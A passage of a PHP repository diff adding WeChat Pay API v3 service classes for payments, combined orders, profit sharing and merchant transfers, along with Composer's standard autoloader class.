* @return mixed
* @throws Exception
*/
public function combineCloseOrder(string $combine_out_trade_no, array $out_trade_no_list){
$path = '/v3/combine-transactions/out-trade-no/'.$combine_out_trade_no.'/close';
$sub_orders = [];
foreach($out_trade_no_list as $out_trade_no){
$sub_orders[] = [
'mchid' => $this->mchId,
'out_trade_no' => $out_trade_no,
'sub_appid' => $this->subAppId,
'sub_mchid' => $this->subMchId,
];
}
$params = [
'combine_appid' => $this->appId,
'sub_orders' => $sub_orders
];
return $this->execute('POST', $path, $params);
}
}
@@ -0,0 +1,349 @@
<?php
namespace WeChatPay\V3;
use Exception;
/**
* 基础支付服务类
* @see https://pay.weixin.qq.com/wiki/doc/apiv3/index.shtml
*/
class PaymentService extends BaseService
{
public function __construct(array $config)
{
parent::__construct($config);
}
/**
* NATIVE支付
* @param array $params 下单参数
* @return mixed {"code_url":"二维码链接"}
* @throws Exception
*/
public function nativePay(array $params){
$path = '/v3/pay/transactions/native';
$publicParams = [
'appid' => $this->appId,
'mchid' => $this->mchId,
];
$params = array_merge($publicParams, $params);
return $this->execute('POST', $path, $params);
}
/**
* JSAPI支付
* @param array $params 下单参数
* @return array Jsapi支付json数据
* @throws Exception
*/
public function jsapiPay(array $params): array
{
$path = '/v3/pay/transactions/jsapi';
$publicParams = [
'appid' => $this->appId,
'mchid' => $this->mchId,
];
$params = array_merge($publicParams, $params);
$result = $this->execute('POST', $path, $params);
return $this->getJsApiParameters($result['prepay_id']);
}
/**
* 获取JSAPI支付的参数
* @param string $prepay_id 预支付交易会话标识
* @return array json数据
*/
private function getJsApiParameters(string $prepay_id): array
{
$params = [
'appId' => $this->appId,
'timeStamp' => time().'',
'nonceStr' => $this->getNonceStr(),
'package' => 'prepay_id=' . $prepay_id,
];
$params['paySign'] = $this->makeSign([$params['appId'], $params['timeStamp'], $params['nonceStr'], $params['package']]);
$params['signType'] = 'RSA';
return $params;
}
/**
* H5支付
* @param array $params 下单参数
* @return mixed {"h5_url":"支付跳转链接"}
* @throws Exception
*/
public function h5Pay(array $params){
$path = '/v3/pay/transactions/h5';
$publicParams = [
'appid' => $this->appId,
'mchid' => $this->mchId,
];
$params = array_merge($publicParams, $params);
return $this->execute('POST', $path, $params);
}
/**
* APP支付
* @param array $params 下单参数
* @return array APP支付json数据
* @throws Exception
*/
public function appPay(array $params): array
{
$path = '/v3/pay/transactions/app';
$publicParams = [
'appid' => $this->appId,
'mchid' => $this->mchId,
];
$params = array_merge($publicParams, $params);
$result = $this->execute('POST', $path, $params);
return $this->getAppParameters($result['prepay_id']);
}
/**
* 获取APP支付的参数
* @param string $prepay_id 预支付交易会话标识
* @return array
*/
private function getAppParameters(string $prepay_id): array
{
$params = [
'appid' => $this->appId,
'partnerid' => $this->mchId,
'prepayid' => $prepay_id,
'package' => 'Sign=WXPay',
'noncestr' => $this->getNonceStr(),
'timestamp' => time().'',
];
$params['sign'] = $this->makeSign([$params['appid'], $params['timestamp'], $params['noncestr'], $params['prepayid']]);
return $params;
}
/**
* 查询订单,微信订单号、商户订单号至少填一个
* @param string|null $transaction_id 微信订单号
* @param string|null $out_trade_no 商户订单号
* @return mixed
* @throws Exception
*/
public function orderQuery(string $transaction_id = null, string $out_trade_no = null){
if(!empty($transaction_id)){
$path = '/v3/pay/transactions/id/'.$transaction_id;
}elseif(!empty($out_trade_no)){
$path = '/v3/pay/transactions/out-trade-no/'.$out_trade_no;
}else{
throw new Exception('微信支付订单号和商户订单号不能同时为空');
}
$params = [
'mchid' => $this->mchId,
];
return $this->execute('GET', $path, $params);
}
/**
* 判断订单是否已完成
* @param string $transaction_id 微信订单号
* @return bool
*/
public function orderQueryResult(string $transaction_id): bool
{
try {
$data = $this->orderQuery($transaction_id);
return $data['trade_state'] == 'SUCCESS' || $data['trade_state'] == 'REFUND';
} catch (Exception $e) {
return false;
}
}
/**
* 关闭订单
* @param string $out_trade_no 商户订单号
* @return mixed
* @throws Exception
*/
public function closeOrder(string $out_trade_no){
$path = '/v3/pay/transactions/out-trade-no/'.$out_trade_no.'/close';
$params = [
'mchid' => $this->mchId,
];
return $this->execute('POST', $path, $params);
}
/**
* 申请退款
* @param array $params
* @return mixed
* @throws Exception
*/
public function refund(array $params){
$path = '/v3/refund/domestic/refunds';
return $this->execute('POST', $path, $params);
}
/**
* 查询退款
* @param string $out_refund_no
* @return mixed
* @throws Exception
*/
public function refundQuery(string $out_refund_no){
$path = '/v3/refund/domestic/refunds/'.$out_refund_no;
return $this->execute('GET', $path, []);
}
/**
* 申请交易账单
* @param array $params
* @return mixed
* @throws Exception
*/
public function tradeBill(array $params){
$path = '/v3/bill/tradebill';
return $this->execute('GET', $path, $params);
}
/**
* 申请资金账单
* @param array $params
* @return mixed
* @throws Exception
*/
public function fundflowBill(array $params){
$path = '/v3/bill/fundflowbill';
return $this->execute('GET', $path, $params);
}
/**
* 支付通知处理
* @return array 支付成功通知参数
* @throws Exception
*/
public function notify(): array
{
$data = parent::notify();
if (!$data || !isset($data['transaction_id']) && !isset($data['combine_out_trade_no'])) {
throw new Exception('缺少订单号参数');
}
if (!isset($data['combine_out_trade_no']) && !$this->orderQueryResult($data['transaction_id'])) {
throw new Exception('订单未完成');
}
return $data;
}
/**
* 合单Native支付
* @param array $params 下单参数
* @return mixed {"code_url":"二维码链接"}
* @throws Exception
*/
public function combineNativePay(array $params){
$path = '/v3/combine-transactions/native';
$publicParams = [
'combine_appid' => $this->appId,
'combine_mchid' => $this->mchId,
];
foreach($params['sub_orders'] as &$order){
$order['mchid'] = $this->mchId;
}
$params = array_merge($publicParams, $params);
return $this->execute('POST', $path, $params);
}
/**
* 合单JSAPI支付
* @param array $params 下单参数
* @return array Jsapi支付json数据
* @throws Exception
*/
public function combineJsapiPay(array $params): array
{
$path = '/v3/combine-transactions/jsapi';
$publicParams = [
'combine_appid' => $this->appId,
'combine_mchid' => $this->mchId,
];
foreach($params['sub_orders'] as &$order){
$order['mchid'] = $this->mchId;
}
$params = array_merge($publicParams, $params);
$result = $this->execute('POST', $path, $params);
return $this->getJsApiParameters($result['prepay_id']);
}
/**
* 合单H5支付
* @param array $params 下单参数
* @return mixed {"h5_url":"支付跳转链接"}
* @throws Exception
*/
public function combineH5Pay(array $params){
$path = '/v3/combine-transactions/h5';
$publicParams = [
'combine_appid' => $this->appId,
'combine_mchid' => $this->mchId,
];
foreach($params['sub_orders'] as &$order){
$order['mchid'] = $this->mchId;
}
$params = array_merge($publicParams, $params);
return $this->execute('POST', $path, $params);
}
/**
* 合单APP支付
* @param array $params 下单参数
* @return mixed {"prepay_id":"预支付交易会话标识"}
* @throws Exception
*/
public function combineAppPay(array $params){
$path = '/v3/combine-transactions/app';
$publicParams = [
'combine_appid' => $this->appId,
'combine_mchid' => $this->mchId,
];
foreach($params['sub_orders'] as &$order){
$order['mchid'] = $this->mchId;
}
$params = array_merge($publicParams, $params);
return $this->execute('POST', $path, $params);
}
/**
* 合单查询订单
* @param string $combine_out_trade_no 合单商户订单号
* @return mixed
* @throws Exception
*/
public function combineQueryOrder(string $combine_out_trade_no){
$path = '/v3/combine-transactions/out-trade-no/'.$combine_out_trade_no;
return $this->execute('GET', $path, []);
}
/**
* 合单关闭订单
* @param string $combine_out_trade_no 合单商户订单号
* @param array $out_trade_no_list 子单订单号列表
* @return mixed
* @throws Exception
*/
public function combineCloseOrder(string $combine_out_trade_no, array $out_trade_no_list){
$path = '/v3/combine-transactions/out-trade-no/'.$combine_out_trade_no.'/close';
$sub_orders = [];
foreach($out_trade_no_list as $out_trade_no){
$sub_orders[] = [
'mchid' => $this->mchId,
'out_trade_no' => $out_trade_no,
];
}
$params = [
'combine_appid' => $this->appId,
'sub_orders' => $sub_orders
];
return $this->execute('POST', $path, $params);
}
}
@@ -0,0 +1,164 @@
<?php
namespace WeChatPay\V3;
use Exception;
/**
* 分账服务类
* @see https://pay.weixin.qq.com/wiki/doc/apiv3/open/pay/chapter4_1_4.shtml
*/
class ProfitsharingService extends BaseService
{
public function __construct(array $config)
{
parent::__construct($config);
}
/**
* 添加分账接收方
* @param string $type 分账接收方类型
* @param string $account 分账接收方账号
* @param string|null $name 用户姓名(填写后校验)
* @return mixed
* @throws Exception
*/
public function addReceiver(string $type, string $account, string $name = null)
{
$path = $this->ecommerce ? '/v3/ecommerce/profitsharing/receivers/add' : '/v3/profitsharing/receivers/add';
$params = [
'appid' => $this->appId,
'type' => $type,
'account' => $account,
'relation_type' => 'SUPPLIER',
];
if (!empty($this->subMchId)) $params['sub_mchid'] = $this->subMchId;
if (!empty($name)) {
if ($this->ecommerce) {
$params['encrypted_name'] = $this->rsaEncrypt($name);
} else {
$params['name'] = $this->rsaEncrypt($name);
}
}
return $this->execute('POST', $path, $params, true);
}
/**
* 删除分账接收方
* @param string $type 分账接收方类型
* @param string $account 分账接收方账号
* @return mixed
* @throws Exception
*/
public function deleteReceiver($type, string $account)
{
$path = $this->ecommerce ? '/v3/ecommerce/profitsharing/receivers/delete' : '/v3/profitsharing/receivers/delete';
$params = [
'appid' => $this->appId,
'type' => $type,
'account' => $account,
];
if (!empty($this->subMchId)) $params['sub_mchid'] = $this->subMchId;
return $this->execute('POST', $path, $params);
}
/**
* 请求分账
* @param array $params 请求参数
* @return mixed {"transaction_id":"微信订单号","out_order_no":"商户分账单号","order_id":"微信分账单号","status":"分账单状态","receivers":""}
* @throws Exception
*/
public function submit(array $params)
{
$path = $this->ecommerce ? '/v3/ecommerce/profitsharing/orders' : '/v3/profitsharing/orders';
$publicParams = [
'appid' => $this->appId,
];
if (!empty($this->subMchId)) $publicParams['sub_mchid'] = $this->subMchId;
$params = array_merge($publicParams, $params);
return $this->execute('POST', $path, $params, true);
}
/**
* 查询分账结果
* @param string $out_order_no 商户分账单号
* @param string $transaction_id 微信订单号
* @return mixed {"transaction_id":"微信订单号","out_order_no":"商户分账单号","order_id":"微信分账单号","status":"分账单状态","receivers":""}
* @throws Exception
*/
public function query(string $out_order_no, string $transaction_id)
{
$path = $this->ecommerce ? '/v3/ecommerce/profitsharing/orders' : '/v3/profitsharing/orders/' . $out_order_no;
$params = [
'transaction_id' => $transaction_id,
];
if ($this->ecommerce) {
$params['out_order_no'] = $out_order_no;
}
if (!empty($this->subMchId)) $params['sub_mchid'] = $this->subMchId;
return $this->execute('GET', $path, $params);
}
/**
* 解冻剩余资金
* @param string $out_order_no 商户分账单号
* @param string $transaction_id 微信订单号
* @return mixed {"transaction_id":"微信订单号","out_order_no":"商户分账单号","order_id":"微信分账单号"}
* @throws Exception
*/
public function unfreeze(string $out_order_no, string $transaction_id)
{
$path = $this->ecommerce ? '/v3/ecommerce/profitsharing/finish-order' : '/v3/profitsharing/orders/unfreeze';
$params = [
'transaction_id' => $transaction_id,
'out_order_no' => $out_order_no,
'description' => '取消分账'
];
if (!empty($this->subMchId)) $params['sub_mchid'] = $this->subMchId;
return $this->execute('POST', $path, $params);
}
/**
* 查询订单待分账金额
* @param string $transaction_id 微信订单号
* @return mixed {"transaction_id":"微信订单号","unsplit_amount":"订单剩余待分金额"}
* @throws Exception
*/
public function orderAmountQuery(string $transaction_id)
{
$path = $this->ecommerce ? '/v3/ecommerce/profitsharing/orders/' . $transaction_id . '/amounts' : '/v3/profitsharing/transactions/' . $transaction_id . '/amounts';
return $this->execute('GET', $path);
}
/**
* 请求分账回退
* @param array $params 请求参数
* @return mixed
* @throws Exception
*/
public function return(array $params)
{
$path = $this->ecommerce ? '/v3/ecommerce/profitsharing/returnorders' : '/v3/profitsharing/return-orders';
if (!empty($this->subMchId)) $params['sub_mchid'] = $this->subMchId;
return $this->execute('POST', $path, $params);
}
/**
* 查询分账回退结果
* @param string $out_return_no 商户回退单号
* @param string $out_order_no 商户分账单号
* @return mixed
* @throws Exception
*/
public function returnQuery(string $out_return_no, string $out_order_no)
{
$path = $this->ecommerce ? '/v3/ecommerce/profitsharing/returnorders' : '/v3/profitsharing/return-orders/' . $out_return_no;
$params = [
'out_order_no' => $out_order_no
];
if ($this->ecommerce) $params['out_return_no'] = $out_return_no;
if (!empty($this->subMchId)) $params['sub_mchid'] = $this->subMchId;
return $this->execute('GET', $path, $params);
}
}
@@ -0,0 +1,223 @@
<?php
namespace WeChatPay\V3;
use Exception;
/**
* 商家转账服务类
* @see https://pay.weixin.qq.com/docs/merchant/products/batch-transfer-to-balance/apilist.html
*/
class TransferService extends BaseService
{
public function __construct(array $config)
{
parent::__construct($config);
}
/**
* 发起批量转账
* @param array $params 请求参数
* @return mixed {"out_batch_no":"商家批次单号","batch_id":"微信批次单号","create_time":"批次创建时间"}
* @throws Exception
*/
public function transfer(array $params)
{
$path = '/v3/transfer/batches';
$publicParams = [
'appid' => $this->appId,
];
$params = array_merge($publicParams, $params);
return $this->execute('POST', $path, $params, true);
}
/**
* 微信批次单号查询转账批次单
* @param string $batch_id 微信批次单号
* @param array $params 查询参数
* @return mixed {"transfer_batch":{},"transfer_detail_list":[]}
* @throws Exception
*/
public function transferbatch(string $batch_id, array $params){
$path = '/v3/transfer/batches/batch-id/'.$batch_id;
return $this->execute('GET', $path, $params);
}
/**
* 微信明细单号查询转账明细单
* @param string $batch_id 微信批次单号
* @param string $detail_id 微信明细单号
* @return mixed
* @throws Exception
*/
public function transferdetail(string $batch_id, string $detail_id){
$path = '/v3/transfer/batches/batch-id/'.$batch_id.'/details/detail-id/'.$detail_id;
return $this->execute('GET', $path);
}
/**
* 商家批次单号查询转账批次单
* @param string $out_batch_no 商家批次单号
* @param array $params 查询参数
* @return mixed {"transfer_batch":{},"transfer_detail_list":[]}
* @throws Exception
*/
public function transferoutbatch(string $out_batch_no, array $params){
$path = '/v3/transfer/batches/out-batch-no/'.$out_batch_no;
return $this->execute('GET', $path, $params);
}
/**
* 商家明细单号查询转账明细单
* @param string $out_batch_no 商家批次单号
* @param string $out_detail_no 商家明细单号
* @return mixed
* @throws Exception
*/
public function transferoutdetail(string $out_batch_no, string $out_detail_no){
$path = '/v3/transfer/batches/out-batch-no/'.$out_batch_no.'/details/out-detail-no/'.$out_detail_no;
return $this->execute('GET', $path);
}
/**
* 转账账单电子回单申请
* @param string $out_batch_no 商家批次单号
* @return mixed
* @throws Exception
*/
public function transferBatchReceiptApply(string $out_batch_no)
{
$path = '/v3/transfer/bill-receipt';
$params = [
'out_batch_no' => $out_batch_no
];
return $this->execute('POST', $path, $params);
}
/**
* 查询转账账单电子回单
* @param string $out_batch_no 商家批次单号
* @return mixed
* @throws Exception
*/
public function transferBatchReceiptQuery(string $out_batch_no)
{
$path = '/v3/transfer/bill-receipt/'.$out_batch_no;
return $this->execute('GET', $path);
}
/**
* 转账明细电子回单申请
* @param string $out_batch_no 商家批次单号
* @param string $out_detail_no 商家明细单号
* @return mixed
* @throws Exception
*/
public function transferDetailReceiptApply(string $out_batch_no, string $out_detail_no)
{
$path = '/v3/transfer-detail/electronic-receipts';
$params = [
'accept_type' => 'BATCH_TRANSFER',
'out_batch_no' => $out_batch_no,
'out_detail_no' => $out_detail_no
];
return $this->execute('POST', $path, $params);
}
/**
* 查询转账明细电子回单
* @param string $out_batch_no 商家批次单号
* @param string $out_detail_no 商家明细单号
* @return mixed
* @throws Exception
*/
public function transferDetailReceiptQuery(string $out_batch_no, string $out_detail_no)
{
$path = '/v3/transfer-detail/electronic-receipts';
$params = [
'accept_type' => 'BATCH_TRANSFER',
'out_batch_no' => $out_batch_no,
'out_detail_no' => $out_detail_no
];
return $this->execute('GET', $path, $params);
}
/**
* 发起转账
* @param array $params 请求参数
* @return mixed {"out_bill_no":"商户单号","transfer_bill_no":"微信转账单号","create_time":"批次创建时间","state":"单据状态","fail_reason":"失败原因","package_info":"跳转领取页面的package信息"}
* @throws Exception
*/
public function mchTransfer(array $params)
{
$path = '/v3/fund-app/mch-transfer/transfer-bills';
$publicParams = [
'appid' => $this->appId,
];
$params = array_merge($publicParams, $params);
return $this->execute('POST', $path, $params, true);
}
/**
* 撤销转账
* @param string $out_bill_no 商户单号
* @return mixed
* @throws Exception
*/
public function cancelTransfer(string $out_bill_no)
{
$path = '/v3/fund-app/mch-transfer/transfer-bills/out-bill-no/'.$out_bill_no.'/cancel';
return $this->execute('POST', $path);
}
/**
* 商户单号查询转账单
* @param string $out_bill_no 商户单号
* @return mixed
* @throws Exception
*/
public function queryTransferByOutNo(string $out_bill_no){
$path = '/v3/fund-app/mch-transfer/transfer-bills/out-bill-no/'.$out_bill_no;
return $this->execute('GET', $path);
}
/**
* 微信单号查询转账单
* @param string $transfer_bill_no 微信单号
* @return mixed
* @throws Exception
*/
public function queryTransfer(string $transfer_bill_no){
$path = '/v3/fund-app/mch-transfer/transfer-bills/transfer-bill-no/'.$transfer_bill_no;
return $this->execute('GET', $path);
}
/**
* 申请电子回单
* @param string $out_bill_no 商户单号
* @return mixed
* @throws Exception
*/
public function transferReceiptApply(string $out_bill_no)
{
$path = '/v3/fund-app/mch-transfer/elecsign/out-bill-no';
$params = [
'out_bill_no' => $out_bill_no,
];
return $this->execute('POST', $path, $params);
}
/**
* 查询电子回单
* @param string $out_bill_no 商户单号
* @return mixed
* @throws Exception
*/
public function transferReceiptQuery(string $out_bill_no)
{
$path = '/v3/fund-app/mch-transfer/elecsign/out-bill-no/'.$out_bill_no;
return $this->execute('GET', $path);
}
}
@@ -0,0 +1,45 @@
<?php
namespace WeChatPay\V3;
/**
* 微信支付响应内容异常
*/
class WeChatPayException extends \Exception
{
private $res = [];
private $errCode;
private $httpCode;
/**
* @param array $res
* @param string $httpCode
*/
public function __construct($res, $httpCode)
{
$this->res = $res;
$this->httpCode = $httpCode;
if(is_array($res)){
$this->errCode = $res['code'];
$message = '['.$res['code'].']'.$res['message'].(isset($res['detail']['issue'])?'('.$res['detail']['issue'].')':'');
}else{
$message = '返回数据解析失败(http_code='.$httpCode.')';
}
parent::__construct($message);
}
public function getResponse(): array
{
return $this->res;
}
public function getErrCode()
{
return $this->errCode;
}
public function getHttpCode(): string
{
return $this->httpCode;
}
}
@@ -0,0 +1,39 @@
<?php
namespace WeChatPay;
/**
* 微信支付响应内容异常
*/
class WeChatPayException extends \Exception
{
private $res = [];
private $errCode;
/**
* @param array $res
*/
public function __construct($res)
{
$this->res = $res;
if (isset($res['err_code'])) {
$this->errCode = $res['err_code'];
$message = '['.$res['err_code'].']'.$res['err_code_des'];
} elseif (isset($res['return_code'])) {
$message = '['.$res['return_code'].']'.$res['return_msg'];
} else {
$message = '返回数据解析失败';
}
parent::__construct($message);
}
public function getResponse(): array
{
return $this->res;
}
public function getErrCode()
{
return $this->errCode;
}
}
+579
View File
@@ -0,0 +1,579 @@
<?php
/*
* This file is part of Composer.
*
* (c) Nils Adermann <naderman@naderman.de>
* Jordi Boggiano <j.boggiano@seld.be>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Composer\Autoload;
/**
* ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
*
* $loader = new \Composer\Autoload\ClassLoader();
*
* // register classes with namespaces
* $loader->add('Symfony\Component', __DIR__.'/component');
* $loader->add('Symfony', __DIR__.'/framework');
*
* // activate the autoloader
* $loader->register();
*
* // to enable searching the include path (eg. for PEAR packages)
* $loader->setUseIncludePath(true);
*
* In this example, if you try to use a class in the Symfony\Component
* namespace or one of its children (Symfony\Component\Console for instance),
* the autoloader will first look for the class under the component/
* directory, and it will then fallback to the framework/ directory if not
* found before giving up.
*
* This class is loosely based on the Symfony UniversalClassLoader.
*
* @author Fabien Potencier <fabien@symfony.com>
* @author Jordi Boggiano <j.boggiano@seld.be>
* @see https://www.php-fig.org/psr/psr-0/
* @see https://www.php-fig.org/psr/psr-4/
*/
class ClassLoader
{
/** @var \Closure(string):void */
private static $includeFile;
/** @var string|null */
private $vendorDir;
// PSR-4
/**
* @var array<string, array<string, int>>
*/
private $prefixLengthsPsr4 = array();
/**
* @var array<string, list<string>>
*/
private $prefixDirsPsr4 = array();
/**
* @var list<string>
*/
private $fallbackDirsPsr4 = array();
// PSR-0
/**
* List of PSR-0 prefixes
*
* Structured as array('F (first letter)' => array('Foo\Bar (full prefix)' => array('path', 'path2')))
*
* @var array<string, array<string, list<string>>>
*/
private $prefixesPsr0 = array();
/**
* @var list<string>
*/
private $fallbackDirsPsr0 = array();
/** @var bool */
private $useIncludePath = false;
/**
* @var array<string, string>
*/
private $classMap = array();
/** @var bool */
private $classMapAuthoritative = false;
/**
* @var array<string, bool>
*/
private $missingClasses = array();
/** @var string|null */
private $apcuPrefix;
/**
* @var array<string, self>
*/
private static $registeredLoaders = array();
/**
* @param string|null $vendorDir
*/
public function __construct($vendorDir = null)
{
$this->vendorDir = $vendorDir;
self::initializeIncludeClosure();
}
/**
* @return array<string, list<string>>
*/
public function getPrefixes()
{
if (!empty($this->prefixesPsr0)) {
return call_user_func_array('array_merge', array_values($this->prefixesPsr0));
}
return array();
}
/**
* @return array<string, list<string>>
*/
public function getPrefixesPsr4()
{
return $this->prefixDirsPsr4;
}
/**
* @return list<string>
*/
public function getFallbackDirs()
{
return $this->fallbackDirsPsr0;
}
/**
* @return list<string>
*/
public function getFallbackDirsPsr4()
{
return $this->fallbackDirsPsr4;
}
/**
* @return array<string, string> Array of classname => path
*/
public function getClassMap()
{
return $this->classMap;
}
/**
* @param array<string, string> $classMap Class to filename map
*
* @return void
*/
public function addClassMap(array $classMap)
{
if ($this->classMap) {
$this->classMap = array_merge($this->classMap, $classMap);
} else {
$this->classMap = $classMap;
}
}
/**
* Registers a set of PSR-0 directories for a given prefix, either
* appending or prepending to the ones previously set for this prefix.
*
* @param string $prefix The prefix
* @param list<string>|string $paths The PSR-0 root directories
* @param bool $prepend Whether to prepend the directories
*
* @return void
*/
public function add($prefix, $paths, $prepend = false)
{
$paths = (array) $paths;
if (!$prefix) {
if ($prepend) {
$this->fallbackDirsPsr0 = array_merge(
$paths,
$this->fallbackDirsPsr0
);
} else {
$this->fallbackDirsPsr0 = array_merge(
$this->fallbackDirsPsr0,
$paths
);
}
return;
}
$first = $prefix[0];
if (!isset($this->prefixesPsr0[$first][$prefix])) {
$this->prefixesPsr0[$first][$prefix] = $paths;
return;
}
if ($prepend) {
$this->prefixesPsr0[$first][$prefix] = array_merge(
$paths,
$this->prefixesPsr0[$first][$prefix]
);
} else {
$this->prefixesPsr0[$first][$prefix] = array_merge(
$this->prefixesPsr0[$first][$prefix],
$paths
);
}
}
/**
* Registers a set of PSR-4 directories for a given namespace, either
* appending or prepending to the ones previously set for this namespace.
*
* @param string $prefix The prefix/namespace, with trailing '\\'
* @param list<string>|string $paths The PSR-4 base directories
* @param bool $prepend Whether to prepend the directories
*
* @throws \InvalidArgumentException
*
* @return void
*/
public function addPsr4($prefix, $paths, $prepend = false)
{
$paths = (array) $paths;
if (!$prefix) {
// Register directories for the root namespace.
if ($prepend) {
$this->fallbackDirsPsr4 = array_merge(
$paths,
$this->fallbackDirsPsr4
);
} else {
$this->fallbackDirsPsr4 = array_merge(
$this->fallbackDirsPsr4,
$paths
);
}
} elseif (!isset($this->prefixDirsPsr4[$prefix])) {
// Register directories for a new namespace.
$length = strlen($prefix);
if ('\\' !== $prefix[$length - 1]) {
throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
}
$this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
$this->prefixDirsPsr4[$prefix] = $paths;
} elseif ($prepend) {
// Prepend directories for an already registered namespace.
$this->prefixDirsPsr4[$prefix] = array_merge(
$paths,
$this->prefixDirsPsr4[$prefix]
);
} else {
// Append directories for an already registered namespace.
$this->prefixDirsPsr4[$prefix] = array_merge(
$this->prefixDirsPsr4[$prefix],
$paths
);
}
}
/**
* Registers a set of PSR-0 directories for a given prefix,
* replacing any others previously set for this prefix.
*
* @param string $prefix The prefix
* @param list<string>|string $paths The PSR-0 base directories
*
* @return void
*/
public function set($prefix, $paths)
{
if (!$prefix) {
$this->fallbackDirsPsr0 = (array) $paths;
} else {
$this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
}
}
/**
* Registers a set of PSR-4 directories for a given namespace,
* replacing any others previously set for this namespace.
*
* @param string $prefix The prefix/namespace, with trailing '\\'
* @param list<string>|string $paths The PSR-4 base directories
*
* @throws \InvalidArgumentException
*
* @return void
*/
public function setPsr4($prefix, $paths)
{
if (!$prefix) {
$this->fallbackDirsPsr4 = (array) $paths;
} else {
$length = strlen($prefix);
if ('\\' !== $prefix[$length - 1]) {
throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
}
$this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
$this->prefixDirsPsr4[$prefix] = (array) $paths;
}
}
/**
* Turns on searching the include path for class files.
*
* @param bool $useIncludePath
*
* @return void
*/
public function setUseIncludePath($useIncludePath)
{
$this->useIncludePath = $useIncludePath;
}
/**
* Can be used to check if the autoloader uses the include path to check
* for classes.
*
* @return bool
*/
public function getUseIncludePath()
{
return $this->useIncludePath;
}
/**
* Turns off searching the prefix and fallback directories for classes
* that have not been registered with the class map.
*
* @param bool $classMapAuthoritative
*
* @return void
*/
public function setClassMapAuthoritative($classMapAuthoritative)
{
$this->classMapAuthoritative = $classMapAuthoritative;
}
/**
* Should class lookup fail if not found in the current class map?
*
* @return bool
*/
public function isClassMapAuthoritative()
{
return $this->classMapAuthoritative;
}
/**
* APCu prefix to use to cache found/not-found classes, if the extension is enabled.
*
* @param string|null $apcuPrefix
*
* @return void
*/
public function setApcuPrefix($apcuPrefix)
{
$this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null;
}
/**
* The APCu prefix in use, or null if APCu caching is not enabled.
*
* @return string|null
*/
public function getApcuPrefix()
{
return $this->apcuPrefix;
}
/**
* Registers this instance as an autoloader.
*
* @param bool $prepend Whether to prepend the autoloader or not
*
* @return void
*/
public function register($prepend = false)
{
spl_autoload_register(array($this, 'loadClass'), true, $prepend);
if (null === $this->vendorDir) {
return;
}
if ($prepend) {
self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders;
} else {
unset(self::$registeredLoaders[$this->vendorDir]);
self::$registeredLoaders[$this->vendorDir] = $this;
}
}
/**
* Unregisters this instance as an autoloader.
*
* @return void
*/
public function unregister()
{
spl_autoload_unregister(array($this, 'loadClass'));
if (null !== $this->vendorDir) {
unset(self::$registeredLoaders[$this->vendorDir]);
}
}
/**
* Loads the given class or interface.
*
* @param string $class The name of the class
* @return true|null True if loaded, null otherwise
*/
public function loadClass($class)
{
if ($file = $this->findFile($class)) {
$includeFile = self::$includeFile;
$includeFile($file);
return true;
}
return null;
}
/**
* Finds the path to the file where the class is defined.
*
* @param string $class The name of the class
*
* @return string|false The path if found, false otherwise
*/
public function findFile($class)
{
// class map lookup
if (isset($this->classMap[$class])) {
return $this->classMap[$class];
}
if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) {
return false;
}
if (null !== $this->apcuPrefix) {
$file = apcu_fetch($this->apcuPrefix.$class, $hit);
if ($hit) {
return $file;
}
}
$file = $this->findFileWithExtension($class, '.php');
// Search for Hack files if we are running on HHVM
if (false === $file && defined('HHVM_VERSION')) {
$file = $this->findFileWithExtension($class, '.hh');
}
if (null !== $this->apcuPrefix) {
apcu_add($this->apcuPrefix.$class, $file);
}
if (false === $file) {
// Remember that this class does not exist.
$this->missingClasses[$class] = true;
}
return $file;
}
/**
* Returns the currently registered loaders keyed by their corresponding vendor directories.
*
* @return array<string, self>
*/
public static function getRegisteredLoaders()
{
return self::$registeredLoaders;
}
/**
* @param string $class
* @param string $ext
* @return string|false
*/
private function findFileWithExtension($class, $ext)
{
// PSR-4 lookup
$logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext;
$first = $class[0];
if (isset($this->prefixLengthsPsr4[$first])) {
$subPath = $class;
while (false !== $lastPos = strrpos($subPath, '\\')) {
$subPath = substr($subPath, 0, $lastPos);
$search = $subPath . '\\';
if (isset($this->prefixDirsPsr4[$search])) {
$pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1);
foreach ($this->prefixDirsPsr4[$search] as $dir) {
if (file_exists($file = $dir . $pathEnd)) {
return $file;
}
}
}
}
}
// PSR-4 fallback dirs
foreach ($this->fallbackDirsPsr4 as $dir) {
if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) {
return $file;
}
}
// PSR-0 lookup
if (false !== $pos = strrpos($class, '\\')) {
// namespaced class name
$logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
. strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR);
} else {
// PEAR-like class name
$logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext;
}
if (isset($this->prefixesPsr0[$first])) {
foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) {
if (0 === strpos($class, $prefix)) {
foreach ($dirs as $dir) {
if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
return $file;
}
}
}
}
}
// PSR-0 fallback dirs
foreach ($this->fallbackDirsPsr0 as $dir) {
if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
return $file;
}
}
// PSR-0 include paths.
if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) {
return $file;
}
return false;
}
/**
* @return void
*/
private static function initializeIncludeClosure()
{
if (self::$includeFile !== null) {
return;
}
/**
* Scope isolated include.
*
* Prevents access to $this/self from included files.
*
* @param string $file
* @return void
*/
self::$includeFile = \Closure::bind(static function($file) {
include $file;
}, null, null);
}
}
+359
View File
@@ -0,0 +1,359 @@
<?php
/*
* This file is part of Composer.
*
